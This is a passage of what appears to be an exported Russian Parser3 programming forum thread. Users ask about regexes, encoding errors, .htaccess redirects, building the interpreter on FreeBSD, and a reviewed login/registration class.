и столкнулся с проблемкой, что бывает получается на выходе примерно следующее, если присутствует смайл:\
[code]Текст текст текст <img src=\"/images/smi[/code]\
\
наверное это можно как-то спрятать с помощью регекспа... чтобы он обнаруживал начало тега и заменял всё остальное пустотой... или как лучше?"
"69698","/home/potrebitel/potrebitel/web/html/program/code/api.p(24:13): 'create' Entity: line 11: parser error : EntityRef: expecting ';'| С‚РѕР№ РёР»Рё РёРЅРѕР№ РіСЂСѓРїРїС‹. Р”РѕРјР°С?РЅСЏСЏ Р°РїС‚РµРєР°, Video&Audio|\
\
11 строка api.p закоментирована:\
# @param code sql код\
\
Возможно можно как-то прочитать кракозябры?"
"69699","... но дело не в этом. Судя по всему скрипт получает из базы данных данные в кодировке utf-8, а пытаетесь сформировать xml в кодировке windows-1251 - отсюда и ошибка. Соотсвтественно надо искать где не происходит или происходит лишнее перекодирование.\
\
p.s. Вобще странно, что программист этого не заметил."
"69700","вот 24 строка:\
$src[^xdoc::create{$source}]\
\
дело в том, что сейчас, к примеру, в description записано 39 символов, а когда я пытаюсь записать, скажем 130, сразу возникает ошибка? Разве это может быть из-за перекодировки?"
"69701","... но это бесперспективно. Надо смотреть как формируется $source, откуда и как программа достает данные и пр. Сейчас четко видно, что в xml попадают данные в некорректной кодировке."
"69702","Уфф, разобрался, программист подсказал, оказывается просто спецсимволы нужно было преварять ^. Но для & проблема пока окончательно не решена: пишу &amp;\
а он это и выводит в html, а мне то нужно &\
и как с этим бороться?"
"69705","Приведите свой код, то что сделали вы.\
[url=http://www.parser.ru/faq/forum/]Опишите как задачу решали, почему так, что не получилось[/url].\
\
Готовый код за вас не напишут."
"69706","так вопрос-то даже не по парсеру.\
я хочу сделать так:\
[code]^sText.match[[b]а_здесь_нужно_regexp_шаблон[/b]][gi]{}[/code]\
чтобы по этому шаблону парсер находил в $sText тег img и по схеме заменял на пустоту.\
но всегда путаюсь, когда пишу regexp-шаблоны и ничего не получается"
"69707","Площка на masterhost (FreeBSD 6.2). Где взять под нее tidy? Может кто может дать или хотябы подсказать, буду благодарен. У меня вечная ошибка - status=248"
"69708","То, что вопрос не по Парсеру не отменяет необходимости его внятно формулировать.\
\
«Ничего не получается» — не повод не пытаться делать.\
\
Так же, наличие форума не отменяет элементарного размышления и использования поиска.\
\
Что такое эти <img …/>?\
Тэги.\
Как найти (заменить, модифицировать и т.д.) тэги? Поиск даст тонну материалов по поиску и замене тэгов.\
\
Несколько минут и можно выйти на [url=http://spearance.ru/parser3/regex/?no=7]совсем готовое[/url]."
"69710","Кстати, список классов и функций создает. Это хоть малость, но тоже очень приятная!"
"69711","Вырежет тэги img, но в вашей [i]исходной[/i] постановке задачи указано, что нужно удалять не просто тэги <img>, а обрезанные справа (т.е. не имеющие закырвающей угловой скобки), тогда немного по другому - \
[code]^sText.match[<img[^^>]*^$][gi]{}[/code]\
Но и в этом случае могут быть косяки, например что по вашему должно произойти если строка обрезалась так:\
[code]текст текст текст текст <im[/code] или вовсе так:\
[code]текст текст текст текст <[/code]\
?"
"69713","Кусок из кода:\
[code]\
@CLASS\
conceptStorage\
\
@OPTIONS\
locals\
\
@create[hshOptions]\
  $self._isReleased(true)\
\
@isReleased[]\
  $result($_isReleased)\
\
@setRelease[blnRelease]\
  $result[]\
  $_isReleased($blnRelease)\
[/code]\
\
Использую так:\
[code]\
  $oStorage[^conceptStorage::create[]]\
  ^oStorage.setRelease(false)\
\
  ^if(^oStorage.isReleased[]){YES}{NO}\
# всегда получаю YES\
[/code]\
\
Если же в методе @setRelease[] сделаю замену на:\
[code]\
  $[b]self[/b]._isReleased($blnRelease)\
[/code]\
\
То в итоге получаю долгожданное: NO.\
\
В плане совместимости же должно быть и в начале \"NO\", я ошибаюсь или баг?"
"69714","да, верно. обрезаться она может по-разному.\
но спасибо за regexp! вы мне больше помогли :)"
"69715","http://www.parser.ru/docs/lang/defineclass.htm\
\
[quote]С помощью @OPTIONS можно определить дополнительное поведение класса. [3.3.0]\
Так, указанная опция locals автоматически объявит локальными все переменные во всех методах определяемого класса. Если она указана, то для обращения к полям объекта или класса необходимо пользоваться системной переменной self.[/quote]"
"69716","Просто удивило, то, что выдавало bool, т.е. я думал, что происходило считывание поля объекта.\
P.S. Sumo все подробно разъяснил. Поэтому вопрос снят."
"69717","Вот код (который исправленный):\
[code]\
@CLASS\
conceptStorage\
\
@OPTIONS\
locals\
\
@create[hshOptions]\
  $self._isReleased(true)\
\
@isReleased[]\
# ПРОШУ ОБРАТИТЬ ВНИМАНИЕ НА ЭТОТ МОМЕНТ\
# ЗДЕСЬ Я НЕ УКАЗЫВАЮ self.\
  $result($_isReleased)\
\
@setRelease[blnRelease]\
  $result[]\
  $self._isReleased($blnRelease)\
[/code]\
Тестирую:\
[code]\
$oStorage[^conceptStorage::create[]]\
\
^if(^oStorage.isReleased[]){YES}{NO}\
# result: YES\
\
^oStorage.setRelease(false)\
^if(^oStorage.isReleased[]){YES}{NO}\
# result: NO\
\
^oStorage.setRelease(true)\
^if(^oStorage.isReleased[]){YES}{NO}\
# result: YES\
[/code]\
Т.е. из данного \"опыта\" следует, что свойство без указания self считывается, а вот запись его не происходит без указания self.\
Как я понимаю это видимо идет по схеме поиска значения переменной - сначало в локальных, затем с свойствах, далее в глобальных?"
"69718","[code]\
@CLASS\
conceptStorage\
\
@OPTIONS\
locals\
\
@create[hshOptions]\
  $self._isReleased[initial value]\
\
@isReleased[]\
  $result[^if(def $_isReleased){DEF}{NODEF}, value: $_isReleased. CLASS: $_isReleased.CLASS_NAME]\
\
@setRelease[altRelease]\
  $result[]\
  $self._isReleased[$altRelease]\
[/code]\
Тест:\
[code]\
^oStorage.isReleased[]\
# result:\
#   DEF, value: initial value, CLASS: string\
\
^oStorage.setRelease[new value]\
^oStorage.isReleased[]\
# result:\
#   DEF, value: new value, CLASS: string\
\
^oStorage.setRelease[]\
^oStorage.isReleased[]\
# result:\
#   NODEF, value: , CLASS: string\
[/code]"
"69720","[quote]Как я понимаю это видимо идет по схеме поиска значения переменной - сначало в локальных, затем с свойствах, далее в глобальных?[/quote]\
\
Видимо, да, дело в способе поиска.\
\
Однако, лично я считаю, что, с полями объекта лучше всегда работать явно указывая «$self.» — это не только избавляет от подобных «проблем», но и улучшает читаемость кода."
"69721","Поиграться можно тут http://code.google.com/apis/ajax/playground/?exp=libraries#motion_chart"
"69722","Добрый день, имею вот такой существующий файл .htaccess.\
Писался не мною, поэтому не особо разбираюсь в командах, используемые в .htaccess, хотя пробовал читать мануалы.\
\
Мне нужно сделать редирект на определенную страницу, допустим на http://www.site.ru/catalog/load/\
\
Такую страницу редиректить:\
http://www.site.ru/catalog/paravoz/?producer=8\
\
А вот такую нет:\
http://www.pipe-tool.ru/catalog/tramvay/?producer=8\
\
Страницы, которые нужно редиректить - будет примерно 20-90 штук.\
Пробовал внаглую писать вот так:\
[quot]\
Redirect /catalog/paravoz/?producer=8 http://www.site.ru/catalog/load/\
[/quot] \
Неполучается\
\
Подскажите плз, куда, что и как нуно вписать, что бы решить мою задачу ?\
\
Вот существующий .htaccess, нужно в него вписать.\
\
[quot]RemoveHandler .html\
AddType application/x-httpd-php .html\
RewriteEngine On\
Options FollowSymlinks\
RewriteBase /\
RewriteRule ^index.html$ - [L] \
RewriteRule ^index1.html$ - [L] \
RewriteRule ^contacts.html$ - [L] \
RewriteRule ^$ - [L] \
RewriteRule ^(.*)(.css|.gif|.jpg|.jpeg|.doc|.xls|.pdf|.zip|.rar|.png|.swf|.psd|.cdr|.txt|.bmp|.mp3|.wav|.rtf|.ppt|.pps|.gz|.xml|.csv|.avi|.mpg|.mpeg|.js|.ico)$ - [L] \
RewriteRule ^show.html$ - [L] \
RewriteRule ^(.*)$ /show.html\
[/quot]"
"69723","ссори за ошибку"
"69724","http://www.pipe-tool.ru/catalog/tramvay/?producer=8\
\
принимать как \
\
http://www.site.ru/catalog/tramvay/?producer=8"
"69725","Так конечно можно, только мне бы подробную инструкцию как это делать."
"69727","Спасибо попробую"
"69728","Огромное спасибо, все работает."
"69729","А как быть, если в корне сайта лежит один [i]index.html [/i]с моим кодом и всё?"
"69730","Подсветка синтаксиса, методы класса, автокомплит, free...\
http://www.econtrol.ru/syntedit_demo.html"
"69731","Создаем diagram.htm с нижеприведенным кодом. В качестве аргумента передаем строковый хэш. И можно дать картинку-подложку.\
Методы @compact и @h2s:h2s пригодятся для построения аргумента с данными.\
В общем, хоть и без динамики, но зато будет работать на PDA))\
\
@main[]\
$example_of_diagram[\
$.x[500]\
$.y[300]\
$.bgcolor[EEEEEE]\
$.ls[** ]\
$.lw(2)\
$.lines[\
	$.example_line[\
		$.lw[4]\
		$.color[FF0000]\
		$.line[0=20,100=22,200=40,300=20,400=37]\
	]\
	$.example_line2[\
		$.lw[2]\
		$.color[FFFF00]\
		$.line[0=25,100=26,200=1,300=30,400=57]\
	]\
]\
]\
\
$pikk[^diagram:draw[^h2s:createh[$form:img]]]\
$response:body[^pikk.gif[]]\
\
\
\
\
\
\
\
\
@CLASS\
diagram\
\
@draw[graph]\
$g[$.x(500)$.y(300)$.bgcolor[FFFFFF]$.lw(1)$.ls[*]]\
#making graph with\
^g.add[$graph]\
$g.bgcolor[0x$g.bgcolor]\
^if(def $g.base && -f \"$g.base\"){\
		$pic[^image::load[$g.base]]\
	}{\
		$pic[^image::create($g.x;$g.y;^g.bgcolor.int(0xEEEEEE))]\
	}\
^g.lines.foreach[k;v]{\
	^drawline[$g.lines.$k]\
}\
$result[$pic]\
@drawline[line]\
$l[$.lw($g.lw)$.color[000000]$.ls[$g.ls]]\
^l.add[$line]\
$pic.line-width($l.lw)\
$pic.line-style[$l.ls]\
$pg[^expand[$l.line;=;,]]\
$polygon[^table::create{x	y\
^pg.menu{$pg.param	^eval($g.y - $pg.value - 1)}[\
]}]\
$l.color[0x$l.color]\
^pic.polyline(^l.color.int(0x000000))[$polygon]\
#^h2s:h2s[$l]<br>\
\
@compact[tbl;tab;new]\
^if(!def $tab){$tab[==]}\
^if(!def $new){$new[,,]}\
$result[^tbl.menu{${tbl.param}${tab}${tbl.value}}[$new]]\
@expand[str;tab;new][rep]\
^if(!def $str){$str[ ]}\
^if($expand_replace is table){;$expand_replace[^table::create{from	to\
&tab	^taint[^#09]\
^default[$tab;==]	^taint[^#09]\
^default[$new;,,]	^taint[^#0A]\
^taint[^#0A]	\
^taint[^#0D]	}]}\
$result[^table::create{param	value	value2\
^untaint{^str.replace[$expand_replace]}}]\
\
\
\
@CLASS\
h2s\
\
@createh[str]\
^process{^taint[as-is; ^$hash_^[$str^] ]}\
$result[^if($hash_ is hash){$hash_}{^hash::create[]}]\
\
@h2o[hash_;div]\
$result[^hash_.foreach[k;v]{$k}[^if(def $div){$div}{ }]]\
\
@h2s[hash1;level][tmp;hh]\
$hh(^level.int(0))^hh.inc(1)^hash1.foreach[k;v]{^if($v is hash){$tmp[^hash::create[$hash1.$k]]^$.$k^[^h2s[$tmp;$hh]]}{^$.$k^if($v is int || $v is double){($v)}{[^unparse[$v]]}}}\
\
@unparse[t]\
^if($unparser is table){;\
$unparser[^table::create{from	to\
^^	^^^^\
^$	^^^$\
^;	^^^;\
^[	^^^[\
^]	^^^]}]\
}\
$result[^t.replace[$unparser]]"
"69734","Жаль только под Винь...неудобно )"
"69735","при переходе по адресу http://адрес_сайта/[b]?c=1[/b] должно быть выведено \"всё прекрасно\", но получается наоборот. почему парсер не видит, что единица это инт?\
[code]^if(def $form:c && $form:c is int){\
   всё прекрасно\
}{\
   всё ужасно\
}[/code]\
...или как тогда можно устроить проверку значения формы, на то, число это или нет?"
"69736","http://www.parser.ru/docs/lang/stringintdouble.htm"
"69741","может ли кто-нибудь выложить готовый cgi скрипт? хостер перешел на 7.2, а доступа к ssh нету."
"69743","с 4.х, точно не помню, 4.11 видимо.\
попробовал ту версию для 7ой freebsd, что вы тут выкладывали на форуме, но она такую же ошибку выдает."
"69744","дали доступ к SSH, собрал парсер и sql драйвер. парсер заработал без проблем, а драйвер отказывался - помогла установка драйвера от freebsd 6.3, выложенная в разделе скачать."
"69745","случайным образом наткнулся на один материал на моём парсерном сайте.\
всё как обычно, данные берутся из базы mysql и выводятся с обработкой ^untaint{}. все многочисленные материалы сайта выводит нормально, но один материал не вывел, а получилось на выходе следующее:\
[code]Unhandled exception 0xC0000005 at 0x00462E3F[/code]\
такое вижу впервые... обычно-то если ошибка, то он показывает где надо исправлять... а тут такое.\
обошёл тем, что вместо ^untaint{} использовал ^process{} и стало нормально работать.\
вот код, из-за которого унтаинт не сработал:\
[code]<br />MP3: <a href=\"http://narod.ru/disk/5813154000/Suns%20Of%20Arqa%20-%20Suns%20Of%20Arqa%20Meet%20The%20Gayan%20Uttejak%20Orchestra%20(1999).7z\" target=\"_blank\">Народ</a><br />\
FLAC (~888Кбит/с 44.1КГц Stereo, 451Мб): <a href=\"http://narod.ru/disk/5812895000/Suns%20Of%20Arqa%20-%20Suns%20Of%20Arqa%20Meet%20The%20Gayan%20Uttejak%20Orchestra%20(1999)%20%5BFLAC%5D.7z\" target=\"_blank\">Народ</a>[/code]\
странно. всё как и везде... а может потому что длина строк слишком длинная получилась для унтаинта? фик знает."
"69746","Непонятно только, если выбрать парсер для подсветки синтаксиса - пропадает подсветка html тегов и наоборот. Там вообще есть можно как-то скомбинировать их?"
"69747","может имеет смысл ввести ;) - для облегчения поиска?"
"69748","Cмотреть не на maxrss, а на реальное потребление памяти. Судя по bytes_since_gc=54890464 оно есть (если не в тесте, то на сайте уж точно). Как именно смотреть ($status:memory.used) - сказано..."
"69749","Попробовал перенести сайт на новый хостинг, но возникли проблемы с парсером.\
\
Перебрав собранные версии для linux, размещённые на сайте, дошёл до того, что при вызове /cgi-bin/parser2.cgi получаю в error_log\
\
[b]error while loading shared libraries: libmysqlclient.so.10: cannot open shared object file: No such file or directory[/b]\
\
Задал вопрос хостеру по поводу наличия данной библиотеки - получил ответ\
\
[b]Есть более новая версия данной библиотеки, если пересоберете парсер он будет работать с ней.[/b]"
"69750","Вышла новая версия хорошего, бесплатного приложения для работы с MySQL.\
[url=\"http://www.heidisql.com/download.php\"]Качать тут[/url]"
"69751","Можно, в настройках лексера Сублексер. Судя по тому как сделано для паскаля это оно."
"69753","в случае с php все ясно. Начало/конец блока php-кода он определяет по характерной конструкции <?...?>,а соответственно сублексер начало/конец кода html определяет по < и />.\
В случае же с парсером такое уже не работает. У парсера нет тега начала/конца кода, да и сам код внедряется прямо внутрь html тегов. В результате все равно имеем либо одно, либо другое.\
Либо надо какое-то очень мудреное правило для сублексера писать."
"69754","Попросил, сделали мне симлинк в каталоге cgi-bin, где лежит parser2.cgi\
\
libmysqlclient.so.10 -> /usr/lib/libmysqlclient.so.15\
\
Ошибка не исчезла. На просьбу сделать симлинк там же, где libmysqlclient.so.15 ответили, что этого делать не будут..."
"69756","Для linux-а static есть только parser10-168.alx3-linux-ix86-glibc2-staticmysql.tar.gz, но она не идёт..."
"69758","Боюсь придется пускать парсер через .sh скрипт,\
в котором задать LD_LIBRARY_PATH, чтобы включал директорию с libmysqlclient.so.10.\
\
И возможно придется списать \"настоящую\" .so.10 - с symlink может и не заработать (там у mysql с механизмом авторизации были изменения).\
\
Пересобрать parser2 проблематично - за 7 лет все поменялось\
так, что он не собирается - несовместимости и в коде, и в makefile."
"69759","Всем здравствуйте!\
Я написал простой класс авторизации для своего сайта. Хочу попросить форумчан посмотреть код и прокомментировать недочеты и ошибки. Буду очень благодарен!\
\
[code]\
@CLASS\
auth\
\
#Методы:\
#@status[] - Елемент на всех страницах сайта, который выводит либо информацию о пользователе, либо форму логина\
#@login[] - Авторизация пользователя на сайте\
#@logout[] - выход из системы\
#@loginForm[msg] - Выводит форму для логина, где $msg - сообщение об ошибке\
#@registration[] - Регистрация новых пользователей\
#@activation[] - Активация аккаунта\
#@regform[msg] - Выводит форму регистрации, где $msg - сообщение об ошибке\
#@isEmail[email] - проверяет e-mail на корректность\
#@sendEmail[login;hash] посылает письмо после регистрации с активационным ключом, где $login - имя пользователя, а $hash - активационный код\
#@userId[] - Идентификация пользователя по кукам\
\
#Елемент на всех страницах сайта, который выводит либо информацию о пользователе, либо форму логина\
@status[]\
^if(^userId[] != 0){\
	^try{\
		^MAIN:esconnect{$user[^table::sql{SELECT `id`,`login` FROM `user` WHERE `session` = '$cookie:session'}]}\
		<a href=/profile.html?id=$user.id>$user.login</a> <a id=\"logout\" href=\"/logout.html\">Выход</a>\
	}{\
		$exception.handled(1)\
		^loginForm[]\
	}\
}{\
	^loginForm[]\
}\
\
#Авторизация пользователя на сайте\
@login[]\
^if(def $form:login && def $form:password){\
	^try{\
		$login[$form:login]\
		$login[^login.trim[]]\
		$password[$form:password]\
		$password[^password.trim[]]\
		^MAIN:esconnect{$user[^table::sql{SELECT `id`,`login`, `password`, `status` FROM `user` WHERE `login` = '$login'}]}\
		^if(^math:crypt[$password;$user.password] eq $user.password){\
			^if($user.status == 1){\
				$str[^math:uuid[]]\
				$hash[^math:sha1[$str]]\
				$now[^date::now[]]\
				^MAIN:esconnect{^void:sql{UPDATE `user` SET `session` = '$hash',  `lastlogin` = '^now.sql-string[]' WHERE `id` = '$user.id'}}\
				$cookie:session[\
					$.value[$hash] \
					$.expires(30)\
				]\
				$response:location[/$form:uri]\
			}{\
				^loginForm[Ваш аккуант не активирован]\
			}\
		}{\
			^loginForm[Вы ввели неверный логин или пароль]\
		}\
	}{\
		$exception.handled(1)\
		^loginForm[Вы ввели неверный логин или пароль]\
	}\
}{\
	^if(^userId[] == 0){\
		^loginForm[]\
	}{\
		Вы уже авторизированны!\
	}\
}\
\
#выход из системы\
@logout[]\
^try{\
	^MAIN:esconnect{^void:sql{UPDATE `user` SET `session` = '' WHERE `session` = '$cookie:session'}}\
	$msg[Вы успешно вышли из системы!]\
	^loginForm[$msg]\
}{\
	$exception.handled(1)\
	$msg[Вы успешно вышли из системы! Но возникла проблема с БД!]\
	^loginForm[$msg]\
}\
$cookie:session[]\
\
#Выводит форму для логина\
#msg - сообщение об ошибке\
@loginForm[msg]\
^if(!def $msg){$msg[<a href=\"/registration.html\">Регистрация</a>]}\
<form id=\"loginform\" action=\"/login.html\" method=\"post\">\
	Логин: <input type=\"text\" name=\"login\" /><br>\
	Пароль: <input type=\"password\" name=\"password\" /><br>\
	<input type=\"hidden\" name=\"uri\" value=\"$request:uri\">\
	<input type=\"submit\" name=\"go\" value=\"Войти\" />\
</form>\
<span id=\"msg\">$msg</span>\
\
#Регистрация новых пользователей\
@registration[]\
^if($form:go eq \"Зарегистрироваться\"){\
	^if(def $form:login && def $form:password && def $form:password2 && def $form:email){\
		^try{\
			^MAIN:esconnect{$user(^string:sql{SELECT COUNT(`id`) FROM `user` WHERE `login` = '$form:login'})}\
			^if($user == 0){\
				^if($form:password eq $form:password2){\
					^if(^isEmail[$form:email]){\
						^MAIN:esconnect{$email(^string:sql{SELECT COUNT(`id`) FROM `user` WHERE `email` = '$form:email'})}\
						^if($email == 0){\
							$login[$form:login]\
							$password[$form:password]\
							$password[^password.trim[]]\
							$password[^math:crypt[$password;^$apr1^$]]\
							$email[$form:email]\
							$now[^date::now[]]\
							$str[^math:uuid[]]\
							$hash[^math:sha1[$str]]\
							^MAIN:esconnect{^void:sql{INSERT INTO `user` (`login`, `password`, `email`, `session`, `regdate`) VALUES ('^login.trim[]', '$password', '^email.trim[]', '$hash', '^now.sql-string[]')}}\
							$login[^login.trim[]]\
							^sendEmail[$login;$hash]\
							Поздравляем! Вы успешно зарегистрировались!\
						}{\
							^regform[Пользователь с таким e-mail уже существует]\
						}\
					}{\
						^regform[E-mail введён некорректно]\
					}\
				}{\
					^regform[Пароли не совпадают]\
				}\
			}{\
				^regform[Пользователь с таким именем уже существует]\
			}\
		}{\
			$exception.handled(1)\
			^regform[Ошибка]\
		}\
	}{\
		^regform[Заполните все поля формы]\
	}\
}{\
	^regform[]\
}\
\
#Активация аккаунта\
@activation[]\
^if(def $form:code){\
	^try{\
		^MAIN:esconnect{^void:sql{UPDATE `user` SET `session` = '',  `status` = '1' WHERE `session` = '$form:code'}}\
		Поздравляем! Ваш аккаунт успешно активирован!\
	}{\
			$exception.handled(1)\
			Произошла ошибка\
	}\
}{\
	Нужен код активации!\
}\
\
#Выводит форму регистрации\
#msg - сообщение об ошибке\
@regform[msg]\
<span id=\"msg\">$msg</span>\
<form id=\"regform\" method=\"post\">\
	Логин: <input type=\"text\" name=\"login\" /> <br />\
	Пароль: <input type=\"password\" name=\"password\" /> <br />\
	Подтвердите пароль: <input type=\"password\" name=\"password2\" /> <br />\
	E-mail: <input type=\"text\" name=\"email\" /> <br />\
	<input type=\"submit\" name=\"go\" value=\"Зарегистрироваться\" />\
</form>\
\
#проверяет e-mail на корректность\
@isEmail[email]\
$result(\
^email.match[^^(?:[-a-z\\d\\+\\*\\/\\?!{}`~_%&'=^^^$#]+(?:\\.[-a-z\\d\\+\\*\\/\\?!{}`~_%&'=^^^$#]+)*)@(?:[-a-z\\d_]+\\.){1,60}[a-z]{2,6}^$][i]\
)\
\
#посылает письмо после регистрации с активационным ключом\
#login - имя пользователя\
#hash - активационный код\
@sendEmail[login;hash]\
^try{\
	^MAIN:esconnect{$email[^string:sql{SELECT `email` FROM `user` WHERE `login` = '$login'}]}\
	^mail:send[\
		$.from[info@site.ru]\
		$.to[$email]\
		$.subject[Регистрация на сайте site.ru]\
		$.text[\
			Здравствуйте, ${login}!\
			Спасибо за регистрацию на сайте site.ru\
			http://site.ru/activation.html?code=$hash\
		]\
	]\
}{\
	$exception.handled(1)\
	^regform[Ошибка при отправке письма]\
}\
\
#Идентификация пользователя по кукам\
#Результат: либо id пользователя, либо 0, если гость\
@userId[]\
^try{\
	^MAIN:esconnect{$id(^string:sql{SELECT COUNT(`id`) FROM `user` WHERE `session` = '$cookie:session'})}\
	^if($id == 1){\
		^MAIN:esconnect{$id(^string:sql{SELECT `id` FROM `user` WHERE `session` = '$cookie:session'})}\
		$result($id)\
	}{\
		$result(0)\
	}\
}{\
	$exception.handled(1)\
	$result(0)\
}\
[/code]"
"69760","Собственно, в сях я не силён, но я так понял это ошибка из сборщика [url=\"http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/lib/cord/cordbscs.c?rev=1.6\"]мусора[/url]. А почему?"
"69761","собрал parser3.3.0 с опцией --with-dynamic-stdcpp, \
собрал mysqldrv10.1\
\
под FreeBSD-7.2R amd64, собралось без ошибок\
в системе имееются библиотеки mysql клиента (l.so.16 (amd64))\
\
при попытке подключится в базе с правильными крединталами - parser падает в корку..., с неправильными вполне корректно ругается и не падает, в чем может быть проблема?\
\
ЗЫ.все варианты собранных 32-х разрядных (parser+mysqldrv+libmysqlclient) не работают,выдается ошибка: driver failed to initialize client library '/usr/local/lib/mysql32/libmysqlclient.so.15', can't open the module ../parser3/lib/libparser3mysql.so"
"69762","1. исходники из cvs или из раздела скачать? (та версия, что в cvs, RELEASE_3_3_0 -- должна собираться как 64 битное приложение)\
2. парсер собирался как 64 битное приложение или 32-битное? (как 64-битное будет жрать больше памяти)\
4. драйвер тоже собирали? если да, то как? (32/64)\
3. в конфиге указаны пути к какому драйверу и каким библиотекам?"
"69763","...исходники из раздела скачать...\
собирал скриптом: buildall-with-xml с libgc=\"gc-7.1\"\
\
...как 64 битное приложение....\
# file parser3 \
parser3: ELF 64-bit LSB executable, x86-64, version 1 (FreeBSD), for FreeBSD 7.2, dynamically linked (uses shared libs), FreeBSD-style, not stripped\
\
... да собирал как 64 битное...\
#file libparser3mysql.so.0.0\
libparser3mysql.so.0.0: ELF 64-bit LSB shared object, x86-64, version 1 (FreeBSD), not stripped\
\
...auto.p...\
\
$SQL[\
$.drivers[^table::create{protocol    driver  client\
mysql $sqldriversdir/libparser3mysql.so    /usr/local/lib/mysql/libmysqlclient.so.16\
}]\
]\
......\
\
# file /usr/local/lib/mysql/libmysqlclient.so.16\
/usr/local/lib/mysql/libmysqlclient.so.16: ELF 64-bit LSB shared object, x86-64, version 1 (FreeBSD), not stripped"
"69764","то, что не заработало -- правильно сделало.\
\
возьмите исходники из cvs -r release_3_3_0"
"69765","Ну не слишком и простой.."
"69766","это набор методов, который повязан на переменных из MAIN.\
\
из того, что не нравится лично мне:\
- ссылки в MAIN\
- описание локальных переменных отсутствует как класс\
- неадекватное название переменных (например первое упоминание $id в @userId[] -- это совсем не $id)\
- использование try только для того, чтобы заткнуть ругань. \
- достаточно большое количество повторов кода. например в том-же @userId[] можно один раз в самом начале написать $result(0).\
- \"Вы успешно вышли из системы! Но возникла проблема с БД!\" -- ахренительно.\
- '^if($form:password eq $form:password2){' в registration лучше вынести до проверки наличия пользователя (- 1 sql запрос в этом случае)\
- зачем вам ^now.sql-string[] при добавлении пользователя в БД? чем не угодил NOW()?\
- $email[$form:email]^email.trim[] => ^form:email.trim[] и т.д.\
- html (мы уже давно выдаём xml)"
"69767","Добрый день!\
\
Кодировка сайта UTF. Есть строка, которая переодически падает по не понятным причинам..\
\
[quote]\
\
[\\p{L}\\p{Nd}\\p{Pc}\\p{Pd}]+([.-]?[\\p{L}\\p{Nd}\\p{Pc}\\p{Pd}]+)+\\@[\\p{L}\\p{Nd}\\p{Pc}\\p{Pd}]+([.-]?[\\p{L}\\p{Nd}\\p{Pc}\\p{Pd}]+)*\\.[a-z]{2,4}' regular expression execute error (-8) [pcre.execute] [uri=/msgboard/msg28286.html, method=GET, cl=0] \
\
[/quote]\
\
[code]$msg_text[^msg_text.match[[\\p{L}\\p{Nd}\\p{Pc}\\p{Pd}]+([.-]?[\\p{L}\\p{Nd}\\p{Pc}\\p{Pd}]+)+\\@[\\p{L}\\p{Nd}\\p{Pc}\\p{Pd}]+([.-]?[\\p{L}\\p{Nd}\\p{Pc}\\p{Pd}]+)*\\.[a-z]{2,4}][gu]{^MAIN_LIB:popup_link[http://www.${MAIN_CFG:server_url}/msgboard/answer.html?id=$out.id;email адрес скрыт;; ;600]}][/code]\
\
Для примера $msg_text:\
\
[quote]Предлагаем установки воздухонагревательные к сушильным камерам древесины, работающие на деревоотходах и опилках. Объем от 15 до 120 м3. Также подходят для отопления производственных помещений. В январе-феврале скидка – 5%! Доставка авто- и ж/д транспортом по России.  email@email.ru, www.site.ru.\
[/quote]"
"69768","http://pcre.org/pcre.txt\
\
[quot]\
PCRE_ERROR_MATCHLIMIT     (-8)\
\
       The  backtracking  limit,  as  specified  by the match_limit field in a\
       pcre_extra structure (or defaulted) was reached.\
[/quot]\
\
читайте что такое backtrack limit (если вкратце, то ваш шаблон очень неоптимальный и приводит к огромному количеству \"возвратов\" в поиске)"
"69769","Действительно, поменял регулярное выражение, ошибка вроде бы пропала."
"69770","а по предоставленной информации что-либо сделать фактически невозможно."
"69771","...собралось... и что характерно без ругани....\
;)\
попробовал собрать из cvs -r release_3_3_0 ... не собралось...\
....\
#pwd\
/home/alex_e/src/parser3\
\
#make\
Making all in src\
Making all in include\
cd ../.. && /bin/sh /home/alex_e/src/parser3/missing --run autoheader\
configure.in:562: warning: AC_DEFINE: not an identifier: AS_TR_CPP \
../../lib/m4sugar/m4sh.m4:508: AS_IF is expanded from...\
../../lib/autoconf/general.m4:2461: AC_COMPILE_IFELSE is expanded from...\
../../lib/autoconf/general.m4:2469: AC_TRY_COMPILE is expanded from...\
acsite.m4:4: PA_CHECK_MATH_FUNC_ONE_ARG is expanded from...\
acsite.m4:21: PA_CHECK_MATH_FUNCS_ONE_ARG is expanded from...\
configure.in:562: the top level\
autoheader-2.62: warning: missing template: AS_TR_CPP\
autoheader-2.62: Use AC_DEFINE([AS_TR_CPP], [], [Description])\
autoheader-2.62: warning: missing template: AS_TR_CPP \
*** Error code 1\
Stop in /home/alex_e/src/parser3/src/include.\
*** Error code 1\
\
...как-то так...\
подскажите в какую сторону копать?"
"69773","да было бы здорово.\
но выяснилось, что баг работает только на сервере. а если вынести код в отдельный файл, скажем bug.html, то всё будет безошибочно... даже и не знаю, как быть. да в общем-то я и ^process{}'ом обойдусь"
"69777","ура всё собралось и работает, Спасибо.\
\
csv -r release_3_3_0 (под FreeBSD-7.2R на amd64)\
+mysqldrv10.1 (под FreeBSD-7.2R на amd64 )\
успешно собрались и работают...\
\
после удаления из системы нафиг:\
pkg_delete automake-1.10.1 \
pkg_delete autoconf-2.62\
\
скриптом buildall-with-xml \
с заменой gs6.8 на gs-7.1  и опцией --with-dynamic-stdcpp"
"69778","Спасибо за комментарий, буду переделывать!"
"69779","1. Сейчас нет возможности залогиниться через временную сессию: человек зашёл на сайт, не нажал logout и закрыл браузер. Если компьютер не личный, то кто угодно потом сможет получить доступ.\
2. Только одна сессия на пользователя -- это досвидос:-) Сессии надо хранить в отдельной таблице."
"69780","Поскольку я писал этот класс для своего сайта, то я считал, что вряд ли кому-нибудь понадобится воровать доступ.\
Под сессией я подозревал следующее: если пользователь залогинился, то в его куки я пишу уникальный идентификатор. Вопрос: зачем тогда больше сессий? Чтобы хранить данные о прошлых сессиях?"
"69782","Какая версия парсера? Похоже на багу, но без _bug.html боюсь\
тяжело будет помочь."
"69783","Логично, но пока такой идеи не возникало)) Спасибо, учту, что надо переделать сессии."
"69784","Давно хотелось заполучить удобный инструмент для отладки Parser.\
\
В основном использую плугин к Firefox - FireBug.\
В нем удобно работать с версткой и JavaScript.\
\
И случайно наткнулся на расширение к FireBug - FirePHP\
он имеет готовые либы для отладки PHP, но по сути легко расширяем под любой язык.\
\
[url=\"http://ajaxblog.ru/wp-content/uploads/2008/07/firephp-sample.png\"]скриншот[/url]\
\
По сути передача отладочной информации происходит через заголовки страницы в формате JSON.\
\
Требования:\
Firefox + FireBug + FirePHP + Parser )\
\
Класс для Parser позволяет отправлять сообщения с дампом \
переменной (int, double, string, hash, table)\
\
Использование:\
\
@USE\
